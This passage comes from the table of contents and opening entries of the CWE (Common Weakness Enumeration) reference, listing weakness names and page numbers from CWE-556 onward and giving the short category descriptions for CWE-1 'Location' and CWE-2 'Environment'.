CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation.....	892
CWE-557: Concurrency Issues.....	893
CWE-558: Use of getlogin() in Multithreaded Application.....	893
CWE-559: Often Misused: Arguments and Parameters.....	894
CWE-560: Use of umask() with chmod-style Argument.....	895
CWE-561: Dead Code.....	895
CWE-562: Return of Stack Variable Address.....	898
CWE-563: Assignment to Variable without Use ('Unused Variable').....	899
CWE-564: SQL Injection: Hibernate.....	900
CWE-565: Reliance on Cookies without Validation and Integrity Checking.....	901
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key.....	902
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context.....	903
CWE-568: finalize() Method Without super.finalize().....	905
CWE-569: Expression Issues.....	906
CWE-570: Expression is Always False.....	906
CWE-571: Expression is Always True.....	908
CWE-572: Call to Thread run() instead of start().....	910
CWE-573: Improper Following of Specification by Caller.....	910
CWE-574: EJB Bad Practices: Use of Synchronization Primitives.....	911
CWE-575: EJB Bad Practices: Use of AWT Swing.....	913
CWE-576: EJB Bad Practices: Use of Java I/O.....	915
CWE-577: EJB Bad Practices: Use of Sockets.....	916
CWE-578: EJB Bad Practices: Use of Class Loader.....	918
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session.....	919
CWE-580: clone() Method Without super.clone().....	920
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined.....	921
CWE-582: Array Declared Public, Final, and Static.....	922
CWE-583: finalize() Method Declared Public.....	923
CWE-584: Return Inside Finally Block.....	924
CWE-585: Empty Synchronized Block.....	925
CWE-586: Explicit Call to Finalize().....	926
CWE-587: Assignment of a Fixed Address to a Pointer.....	927
CWE-588: Attempt to Access Child of a Non-structure Pointer.....	928
CWE-589: Call to Non-ubiquitous API.....	929
CWE-590: Free of Memory not on the Heap.....	930
CWE-591: Sensitive Data Storage in Improperly Locked Memory.....	932
CWE-592: Authentication Bypass Issues.....	933
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created.....	934
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk.....	935
CWE-595: Comparison of Object References Instead of Object Contents.....	936
CWE-596: Incorrect Semantic Object Comparison.....	938
CWE-597: Use of Wrong Operator in String Comparison.....	938
CWE-598: Information Exposure Through Query Strings in GET Request.....	939
CWE-599: Missing Validation of OpenSSL Certificate.....	940
CWE-600: Uncaught Exception in Servlet.....	941
CWE-601: URL Redirection to Untrusted Site ('Open Redirect').....	942



CWE-602: Client-Side Enforcement of Server-Side Security.....	947
CWE-603: Use of Client-Side Authentication.....	950
CWE-604: Deprecated Entries.....	951
CWE-605: Multiple Binds to the Same Port.....	951
CWE-606: Unchecked Input for Loop Condition.....	953
CWE-607: Public Static Final Field References Mutable Object.....	953
CWE-608: Struts: Non-private Field in ActionForm Class.....	954
CWE-609: Double-Checked Locking.....	955
CWE-610: Externally Controlled Reference to a Resource in Another Sphere.....	957
CWE-611: Improper Restriction of XML External Entity Reference ('XXE').....	958
CWE-612: Information Exposure Through Indexing of Private Data.....	960
CWE-613: Insufficient Session Expiration.....	960
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute.....	961
CWE-615: Information Exposure Through Comments.....	962
CWE-616: Incomplete Identification of Uploaded File Variables (PHP).....	963
CWE-617: Reachable Assertion.....	964
CWE-618: Exposed Unsafe ActiveX Method.....	966
CWE-619: Dangling Database Cursor ('Cursor Injection').....	966
CWE-620: Unverified Password Change.....	967
CWE-621: Variable Extraction Error.....	969
CWE-622: Improper Validation of Function Hook Arguments.....	970
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting.....	971
CWE-624: Executable Regular Expression Error.....	972
CWE-625: Permissive Regular Expression.....	973
CWE-626: Null Byte Interaction Error (Poison Null Byte).....	974
CWE-627: Dynamic Variable Evaluation.....	975
CWE-628: Function Call with Incorrectly Specified Arguments.....	977
CWE-629: Weaknesses in OWASP Top Ten (2007).....	979
CWE-630: Weaknesses Examined by SAMATE.....	980
CWE-631: Resource-specific Weaknesses.....	980
CWE-632: Weaknesses that Affect Files or Directories.....	981
CWE-633: Weaknesses that Affect Memory.....	981
CWE-634: Weaknesses that Affect System Processes.....	982
CWE-635: Weaknesses Used by NVD.....	983
CWE-636: Not Failing Securely ('Failing Open').....	983
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism').....	985
CWE-638: Not Using Complete Mediation.....	986
CWE-639: Authorization Bypass Through User-Controlled Key.....	988
CWE-640: Weak Password Recovery Mechanism for Forgotten Password.....	989
CWE-641: Improper Restriction of Names for Files and Other Resources.....	991
CWE-642: External Control of Critical State Data.....	993
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').....	998
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax.....	999
CWE-645: Overly Restrictive Account Lockout Mechanism.....	1000
CWE-646: Reliance on File Name or Extension of Externally-Supplied File.....	1002
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.....	1003
CWE-648: Incorrect Use of Privileged APIs.....	1004
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking.....	1006
CWE-650: Trusting HTTP Permission Methods on the Server Side.....	1007
CWE-651: Information Exposure Through WSDL File.....	1008
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection').....	1009
CWE-653: Insufficient Compartmentalization.....	1011
CWE-654: Reliance on a Single Factor in a Security Decision.....	1012
CWE-655: Insufficient Psychological Acceptability.....	1014
CWE-656: Reliance on Security Through Obscurity.....	1015
CWE-657: Violation of Secure Design Principles.....	1017
CWE-658: Weaknesses in Software Written in C.....	1018
CWE-659: Weaknesses in Software Written in C++.....	1020
CWE-660: Weaknesses in Software Written in Java.....	1022
CWE-661: Weaknesses in Software Written in PHP.....	1023
CWE-662: Improper Synchronization.....	1024

CWE-663: Use of a Non-reentrant Function in a Concurrent Context.....	1025
CWE-664: Improper Control of a Resource Through its Lifetime.....	1026
CWE-665: Improper Initialization.....	1027
CWE-666: Operation on Resource in Wrong Phase of Lifetime.....	1031
CWE-667: Improper Locking.....	1032
CWE-668: Exposure of Resource to Wrong Sphere.....	1035
CWE-669: Incorrect Resource Transfer Between Spheres.....	1036
CWE-670: Always-Incorrect Control Flow Implementation.....	1037
CWE-671: Lack of Administrator Control over Security.....	1038
CWE-672: Operation on a Resource after Expiration or Release.....	1039
CWE-673: External Influence of Sphere Definition.....	1041
CWE-674: Uncontrolled Recursion.....	1042
CWE-675: Duplicate Operations on Resource.....	1043
CWE-676: Use of Potentially Dangerous Function.....	1044
CWE-677: Weakness Base Elements.....	1047
CWE-678: Composites.....	1054
CWE-679: Chain Elements.....	1054
CWE-680: Integer Overflow to Buffer Overflow.....	1057
CWE-681: Incorrect Conversion between Numeric Types.....	1058
CWE-682: Incorrect Calculation.....	1060
CWE-683: Function Call With Incorrect Order of Arguments.....	1064
CWE-684: Incorrect Provision of Specified Functionality.....	1065
CWE-685: Function Call With Incorrect Number of Arguments.....	1065
CWE-686: Function Call With Incorrect Argument Type.....	1066
CWE-687: Function Call With Incorrectly Specified Argument Value.....	1067
CWE-688: Function Call With Incorrect Variable or Reference as Argument.....	1068
CWE-689: Permission Race Condition During Resource Copy.....	1070
CWE-690: Unchecked Return Value to NULL Pointer Dereference.....	1071
CWE-691: Insufficient Control Flow Management.....	1072
CWE-692: Incomplete Blacklist to Cross-Site Scripting.....	1073
CWE-693: Protection Mechanism Failure.....	1074
CWE-694: Use of Multiple Resources with Duplicate Identifier.....	1076
CWE-695: Use of Low-Level Functionality.....	1077
CWE-696: Incorrect Behavior Order.....	1077
CWE-697: Insufficient Comparison.....	1078
CWE-698: Execution After Redirect (EAR).....	1079
CWE-699: Development Concepts.....	1081
CWE-700: Seven Pernicious Kingdoms.....	1081
CWE-701: Weaknesses Introduced During Design.....	1082
CWE-702: Weaknesses Introduced During Implementation.....	1090
CWE-703: Improper Check or Handling of Exceptional Conditions.....	1102
CWE-704: Incorrect Type Conversion or Cast.....	1104
CWE-705: Incorrect Control Flow Scoping.....	1105
CWE-706: Use of Incorrectly-Resolved Name or Reference.....	1106
CWE-707: Improper Enforcement of Message or Data Structure.....	1107
CWE-708: Incorrect Ownership Assignment.....	1108
CWE-709: Named Chains.....	1109
CWE-710: Coding Standards Violation.....	1109
CWE-711: Weaknesses in OWASP Top Ten (2004).....	1110
CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS).....	1111
CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws.....	1112
CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....	1112
CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....	1113
CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF).....	1113
CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling.....	1114
CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management.....	1114
CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....	1114
CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....	1115
CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....	1115
CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input.....	1116
CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....	1116

CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management.....	1117
CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....	1118
CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....	1118
CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws.....	1118
CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling.....	1119
CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.....	1119
CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service.....	1120
CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management.....	1120
CWE-732: Incorrect Permission Assignment for Critical Resource.....	1121
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.....	1129
CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard.....	1130
CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE).....	1131
CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL).....	1131
CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP).....	1131
CWE-738: CERT C Secure Coding Section 04 - Integers (INT).....	1132
CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP).....	1132
CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR).....	1133
CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR).....	1133
CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM).....	1134
CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO).....	1135
CWE-744: CERT C Secure Coding Section 10 - Environment (ENV).....	1135
CWE-745: CERT C Secure Coding Section 11 - Signals (SIG).....	1136
CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR).....	1136
CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC).....	1137
CWE-748: CERT C Secure Coding Section 50 - POSIX (POS).....	1137
CWE-749: Exposed Dangerous Method or Function.....	1138
CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors.....	1141
CWE-751: 2009 Top 25 - Insecure Interaction Between Components.....	1142
CWE-752: 2009 Top 25 - Risky Resource Management.....	1143
CWE-753: 2009 Top 25 - Porous Defenses.....	1143
CWE-754: Improper Check for Unusual or Exceptional Conditions.....	1143
CWE-755: Improper Handling of Exceptional Conditions.....	1150
CWE-756: Missing Custom Error Page.....	1151
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade').....	1152
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior.....	1153
CWE-759: Use of a One-Way Hash without a Salt.....	1153
CWE-760: Use of a One-Way Hash with a Predictable Salt.....	1157
CWE-761: Free of Pointer not at Start of Buffer.....	1159
CWE-762: Mismatched Memory Management Routines.....	1162
CWE-763: Release of Invalid Pointer or Reference.....	1164
CWE-764: Multiple Locks of a Critical Resource.....	1168
CWE-765: Multiple Unlocks of a Critical Resource.....	1169
CWE-766: Critical Variable Declared Public.....	1170
CWE-767: Access to Critical Private Variable via Public Method.....	1172
CWE-768: Incorrect Short Circuit Evaluation.....	1173
CWE-769: File Descriptor Exhaustion.....	1174
CWE-770: Allocation of Resources Without Limits or Throttling.....	1175
CWE-771: Missing Reference to Active Allocated Resource.....	1182
CWE-772: Missing Release of Resource after Effective Lifetime.....	1183
CWE-773: Missing Reference to Active File Descriptor or Handle.....	1187
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling.....	1188
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime.....	1189
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').....	1190
CWE-777: Regular Expression without Anchors.....	1192
CWE-778: Insufficient Logging.....	1193
CWE-779: Logging of Excessive Data.....	1194
CWE-780: Use of RSA Algorithm without OAEP.....	1195
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code.....	1197
CWE-782: Exposed IOCTL with Insufficient Access Control.....	1198
CWE-783: Operator Precedence Logic Error.....	1200
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision.....	1202

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer.....	1204
CWE-786: Access of Memory Location Before Start of Buffer.....	1205
CWE-787: Out-of-bounds Write.....	1207
CWE-788: Access of Memory Location After End of Buffer.....	1208
CWE-789: Uncontrolled Memory Allocation.....	1211
CWE-790: Improper Filtering of Special Elements.....	1213
CWE-791: Incomplete Filtering of Special Elements.....	1214
CWE-792: Incomplete Filtering of One or More Instances of Special Elements.....	1214
CWE-793: Only Filtering One Instance of a Special Element.....	1215
CWE-794: Incomplete Filtering of Multiple Instances of Special Elements.....	1216
CWE-795: Only Filtering Special Elements at a Specified Location.....	1217
CWE-796: Only Filtering Special Elements Relative to a Marker.....	1218
CWE-797: Only Filtering Special Elements at an Absolute Position.....	1219
CWE-798: Use of Hard-coded Credentials.....	1219
CWE-799: Improper Control of Interaction Frequency.....	1225
CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.....	1227
CWE-801: 2010 Top 25 - Insecure Interaction Between Components.....	1228
CWE-802: 2010 Top 25 - Risky Resource Management.....	1228
CWE-803: 2010 Top 25 - Porous Defenses.....	1229
CWE-804: Guessable CAPTCHA.....	1229
CWE-805: Buffer Access with Incorrect Length Value.....	1230
CWE-806: Buffer Access Using Size of Source Buffer.....	1236
CWE-807: Reliance on Untrusted Inputs in a Security Decision.....	1239
CWE-808: 2010 Top 25 - Weaknesses On the Cusp.....	1244
CWE-809: Weaknesses in OWASP Top Ten (2010).....	1244
CWE-810: OWASP Top Ten 2010 Category A1 - Injection.....	1245
CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS).....	1246
CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management.....	1246
CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References.....	1246
CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF).....	1247
CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration.....	1247
CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage.....	1247
CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access.....	1248
CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection.....	1248
CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards.....	1248
CWE-820: Missing Synchronization.....	1249
CWE-821: Incorrect Synchronization.....	1250
CWE-822: Untrusted Pointer Dereference.....	1250
CWE-823: Use of Out-of-range Pointer Offset.....	1252
CWE-824: Access of Uninitialized Pointer.....	1254
CWE-825: Expired Pointer Dereference.....	1255
CWE-826: Premature Release of Resource During Expected Lifetime.....	1257
CWE-827: Improper Control of Document Type Definition.....	1258
CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe.....	1259
CWE-829: Inclusion of Functionality from Untrusted Control Sphere.....	1262
CWE-830: Inclusion of Web Functionality from an Untrusted Source.....	1267
CWE-831: Signal Handler Function Associated with Multiple Signals.....	1268
CWE-832: Unlock of a Resource that is not Locked.....	1270
CWE-833: Deadlock.....	1271
CWE-834: Excessive Iteration.....	1272
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').....	1273
CWE-836: Use of Password Hash Instead of Password for Authentication.....	1275
CWE-837: Improper Enforcement of a Single, Unique Action.....	1276
CWE-838: Inappropriate Encoding for Output Context.....	1277
CWE-839: Numeric Range Comparison Without Minimum Check.....	1279
CWE-840: Business Logic Errors.....	1283
CWE-841: Improper Enforcement of Behavioral Workflow.....	1284
CWE-842: Placement of User into Incorrect Group.....	1286
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').....	1287
CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard.....	1290
CWE-845: CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS).....	1291



CWE-846: CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL).....	1291
CWE-847: CERT Java Secure Coding Section 02 - Expressions (EXP).....	1292
CWE-848: CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM).....	1292
CWE-849: CERT Java Secure Coding Section 04 - Object Orientation (OBJ).....	1293
CWE-850: CERT Java Secure Coding Section 05 - Methods (MET).....	1293
CWE-851: CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR).....	1294
CWE-852: CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA).....	1294
CWE-853: CERT Java Secure Coding Section 08 - Locking (LCK).....	1295
CWE-854: CERT Java Secure Coding Section 09 - Thread APIs (THI).....	1295
CWE-855: CERT Java Secure Coding Section 10 - Thread Pools (TPS).....	1295
CWE-856: CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM).....	1296
CWE-857: CERT Java Secure Coding Section 12 - Input Output (FIO).....	1296
CWE-858: CERT Java Secure Coding Section 13 - Serialization (SER).....	1297
CWE-859: CERT Java Secure Coding Section 14 - Platform Security (SEC).....	1297
CWE-860: CERT Java Secure Coding Section 15 - Runtime Environment (ENV).....	1298
CWE-861: CERT Java Secure Coding Section 49 - Miscellaneous (MSC).....	1298
CWE-862: Missing Authorization.....	1299
CWE-863: Incorrect Authorization.....	1304
CWE-864: 2011 Top 25 - Insecure Interaction Between Components.....	1308
CWE-865: 2011 Top 25 - Risky Resource Management.....	1309
CWE-866: 2011 Top 25 - Porous Defenses.....	1309
CWE-867: 2011 Top 25 - Weaknesses On the Cusp.....	1310
CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard.....	1310
CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE).....	1312
CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL).....	1312
CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP).....	1312
CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT).....	1313
CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP).....	1313
CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR).....	1313
CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR).....	1314
CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM).....	1314
CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO).....	1315
CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV).....	1316
CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG).....	1317
CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR).....	1317
CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP).....	1318
CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON).....	1318
CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC).....	1318
CWE-884: CWE Cross-section.....	1319
CWE-885: SFP Primary Cluster: Risky Values.....	1323
CWE-886: SFP Primary Cluster: Unused entities.....	1323
CWE-887: SFP Primary Cluster: API.....	1323
CWE-888: Software Fault Pattern (SFP) Clusters.....	1323
CWE-889: SFP Primary Cluster: Exception Management.....	1324
CWE-890: SFP Primary Cluster: Memory Access.....	1324
CWE-891: SFP Primary Cluster: Memory Management.....	1325
CWE-892: SFP Primary Cluster: Resource Management.....	1325
CWE-893: SFP Primary Cluster: Path Resolution.....	1325
CWE-894: SFP Primary Cluster: Synchronization.....	1325
CWE-895: SFP Primary Cluster: Information Leak.....	1326
CWE-896: SFP Primary Cluster: Tainted Input.....	1326
CWE-897: SFP Primary Cluster: Entry Points.....	1326
CWE-898: SFP Primary Cluster: Authentication.....	1326
CWE-899: SFP Primary Cluster: Access Control.....	1327
CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.....	1327
CWE-901: SFP Primary Cluster: Privilege.....	1328
CWE-902: SFP Primary Cluster: Channel.....	1328
CWE-903: SFP Primary Cluster: Cryptography.....	1328
CWE-904: SFP Primary Cluster: Malware.....	1329
CWE-905: SFP Primary Cluster: Predictability.....	1329
CWE-906: SFP Primary Cluster: UI.....	1329

CWE-907: SFP Primary Cluster: Other.....	1330
CWE-908: Use of Uninitialized Resource.....	1330
CWE-909: Missing Initialization of Resource.....	1332
CWE-910: Use of Expired File Descriptor.....	1334
CWE-911: Improper Update of Reference Count.....	1335
CWE-912: Hidden Functionality.....	1336
CWE-913: Improper Control of Dynamically-Managed Code Resources.....	1336
CWE-914: Improper Control of Dynamically-Identified Variables.....	1337
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.....	1339
CWE-916: Use of Password Hash With Insufficient Computational Effort.....	1341
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection').....	1344
CWE-918: Server-Side Request Forgery (SSRF).....	1345
CWE-919: Weaknesses in Mobile Applications.....	1346
CWE-920: Improper Restriction of Power Consumption.....	1347
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control.....	1348
CWE-922: Insecure Storage of Sensitive Information.....	1349
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints.....	1349
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel.....	1350
CWE-925: Improper Verification of Intent by Broadcast Receiver.....	1351
CWE-926: Improper Export of Android Application Components.....	1352
CWE-927: Use of Implicit Intent for Sensitive Communication.....	1354
CWE-928: Weaknesses in OWASP Top Ten (2013).....	1357
CWE-929: OWASP Top Ten 2013 Category A1 - Injection.....	1358
CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management.....	1358
CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS).....	1359
CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References.....	1359
CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration.....	1359
CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure.....	1360
CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control.....	1360
CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF).....	1361
CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities.....	1361
CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards.....	1361
CWE-939: Improper Authorization in Handler for Custom URL Scheme.....	1362
CWE-940: Improper Verification of Source of a Communication Channel.....	1364
CWE-941: Incorrectly Specified Destination in a Communication Channel.....	1366
CWE-942: Overly Permissive Cross-domain Whitelist.....	1367
CWE-943: Improper Neutralization of Special Elements in Data Query Logic.....	1369
CWE-944: SFP Secondary Cluster: Access Management.....	1370
CWE-945: SFP Secondary Cluster: Insecure Resource Access.....	1371
CWE-946: SFP Secondary Cluster: Insecure Resource Permissions.....	1371
CWE-947: SFP Secondary Cluster: Authentication Bypass.....	1371
CWE-948: SFP Secondary Cluster: Digital Certificate.....	1372
CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication.....	1372
CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data.....	1372
CWE-951: SFP Secondary Cluster: Insecure Authentication Policy.....	1373
CWE-952: SFP Secondary Cluster: Missing Authentication.....	1373
CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication.....	1373
CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port.....	1374
CWE-955: SFP Secondary Cluster: Unrestricted Authentication.....	1374
CWE-956: SFP Secondary Cluster: Channel Attack.....	1374
CWE-957: SFP Secondary Cluster: Protocol Error.....	1374
CWE-958: SFP Secondary Cluster: Broken Cryptography.....	1375
CWE-959: SFP Secondary Cluster: Weak Cryptography.....	1375
CWE-960: SFP Secondary Cluster: Ambiguous Exception Type.....	1375
CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior.....	1376
CWE-962: SFP Secondary Cluster: Unchecked Status Condition.....	1376
CWE-963: SFP Secondary Cluster: Exposed Data.....	1377
CWE-964: SFP Secondary Cluster: Exposure Temporary File.....	1378
CWE-965: SFP Secondary Cluster: Insecure Session Management.....	1379

CWE-966: SFP Secondary Cluster: Other Exposures.....	1379
CWE-967: SFP Secondary Cluster: State Disclosure.....	1379
CWE-968: SFP Secondary Cluster: Covert Channel.....	1380
CWE-969: SFP Secondary Cluster: Faulty Memory Release.....	1380
CWE-970: SFP Secondary Cluster: Faulty Buffer Access.....	1380
CWE-971: SFP Secondary Cluster: Faulty Pointer Use.....	1381
CWE-972: SFP Secondary Cluster: Faulty String Expansion.....	1381
CWE-973: SFP Secondary Cluster: Improper NULL Termination.....	1381
CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation.....	1381
CWE-975: SFP Secondary Cluster: Architecture.....	1382
CWE-976: SFP Secondary Cluster: Compiler.....	1382
CWE-977: SFP Secondary Cluster: Design.....	1382
CWE-978: SFP Secondary Cluster: Implementation.....	1383
CWE-979: SFP Secondary Cluster: Failed Chroot Jail.....	1383
CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution.....	1384
CWE-981: SFP Secondary Cluster: Path Traversal.....	1384
CWE-982: SFP Secondary Cluster: Failure to Release Resource.....	1385
CWE-983: SFP Secondary Cluster: Faulty Resource Use.....	1385
CWE-984: SFP Secondary Cluster: Life Cycle.....	1386
CWE-985: SFP Secondary Cluster: Unrestricted Consumption.....	1386
CWE-986: SFP Secondary Cluster: Missing Lock.....	1386
CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks.....	1387
CWE-988: SFP Secondary Cluster: Race Condition Window.....	1387
CWE-989: SFP Secondary Cluster: Unrestricted Lock.....	1387
CWE-990: SFP Secondary Cluster: Tainted Input to Command.....	1388
CWE-991: SFP Secondary Cluster: Tainted Input to Environment.....	1390
CWE-992: SFP Secondary Cluster: Faulty Input Transformation.....	1390
CWE-993: SFP Secondary Cluster: Incorrect Input Handling.....	1391
CWE-994: SFP Secondary Cluster: Tainted Input to Variable.....	1391
CWE-995: SFP Secondary Cluster: Feature.....	1392
CWE-996: SFP Secondary Cluster: Security.....	1392
CWE-997: SFP Secondary Cluster: Information Loss.....	1392
CWE-998: SFP Secondary Cluster: Glitch in Computation.....	1393
CWE-999: Weaknesses without Software Fault Patterns.....	1393
CWE-1000: Research Concepts.....	1402
CWE-1001: SFP Secondary Cluster: Use of an Improper API.....	1403
CWE-1002: SFP Secondary Cluster: Unexpected Entry Points.....	1404
CWE-2000: Comprehensive CWE Dictionary.....	1404

## Appendix A: Graph Views

CWE-629: Weaknesses in OWASP Top Ten (2007).....	1426
CWE-631: Resource-specific Weaknesses.....	1428
CWE-678: Composites.....	1430
CWE-699: Development Concepts.....	1431
CWE-700: Seven Pernicious Kingdoms.....	1458
CWE-709: Named Chains.....	1460
CWE-711: Weaknesses in OWASP Top Ten (2004).....	1461
CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard.....	1464
CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors.....	1467
CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.....	1468
CWE-809: Weaknesses in OWASP Top Ten (2010).....	1470
CWE-844: Weaknesses Addressed by the CERT Java Secure Coding Standard.....	1472
CWE-868: Weaknesses Addressed by the CERT C++ Secure Coding Standard.....	1475
CWE-888: Software Fault Pattern (SFP) Clusters.....	1478
CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.....	1492
CWE-928: Weaknesses in OWASP Top Ten (2013).....	1494
CWE-1000: Research Concepts.....	1496

<b>Glossary</b> .....	<b>1522</b>
-----------------------	-------------









<b>Index</b> .....	<b>1526</b>
--------------------	-------------





---

Symbol	Meaning
--------	---------

	View
	Category
	Weakness - Class
	Weakness - Base
	Weakness - Variant
	Compound Element - Composite
	Compound Element - Named Chain
	Deprecated



## CWE-1: Location

Category ID: 1 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are organized based on which phase they are introduced during the software development and deployment process.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	2	Environment	699	1
ParentOf	C	16	Configuration	699	15
ParentOf	C	17	Code	699	17
MemberOf	V	699	Development Concepts	699	1081

## CWE-2: Environment

Category ID: 2 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are typically introduced during unexpected environmental conditions.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	1	Location	699	1
ChildOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1359
ParentOf	C	3	Technology-specific Environment Issues	699	1
